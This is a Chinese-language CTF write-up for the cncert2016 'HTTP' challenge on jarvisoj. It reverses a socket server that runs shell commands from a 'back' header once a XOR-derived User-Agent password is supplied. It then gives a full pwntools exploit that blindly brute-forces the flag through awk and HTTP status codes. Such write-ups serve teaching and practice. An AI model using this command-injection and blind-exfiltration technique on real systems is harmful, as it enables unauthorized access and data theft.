HTTP
Try it here:
pwn.jarvisoj.com:9881
题目来源:cncert2016
http.49cb96c66532dfb92e4879c8693436ff
(PS:这真的不是一道标着pwn披着web皮的re吗)
打开程序拖入IDA分析,是一个socket服务器模型,程序监听了1807端口
发现程序会检测输出是否有User-Agent和back两个header,如果User-Agent里面是一串特定的字符串的话,那么会执行header里的内容
User-Agent里面是将第i个字符与i进行异或,然后和一个存储在程序中的密文解密后的字符串进行比较,因此直接在gdb里就能看到解密后的字符串为"2016CCRT",则User-Agent里应为"2135GFTS"
然后back里面cat flag就可以了
但是实际上本地虽然能跑通,但是网上的话看不到具体回显内容,只能看到状态及Content-Length
但是既然back里的东西都可以被执行,因此可以考虑诸位爆破
发现Content-Length为0时会返回500,因此可以据此判断
这里运用了awk
exp如下:
from pwn import * import os, string #p = gdb.debug('./http', 'b *0x40125D') #io = process('./http') password = "2135GFTS" f = "" i = 0 j = 0 def work(pos, ch): cmd = "cat flag | awk '{if(substr($1, %d, 1) == \"%s\") print \"%s\"}'" % (pos + 1, ch, "A") io = remote('pwn.jarvisoj.com', 9881) payload = "User-Agent: %s\r\n" % (password) payload += "back: %s\r\n\r\n\r\n" % (cmd) sleep(0.5) io.send(payload) sleep(0.5) try: tmp = io.read() except: io.close() work(pos, ch) return io.close() os.system("clear") global f print(i, "flag="+f, "now:"+ch) if b"500" in tmp: return f += ch while i < 40: while j < len(string.printable): work(i, string.printable[j]) if len(f) > i: i = i + 1 break j = j + 1 j = 0 io.interactive()
awk里substr的三个参数分别是输入的字符串的指针,第二个是从第几位输出,第三个是输出几位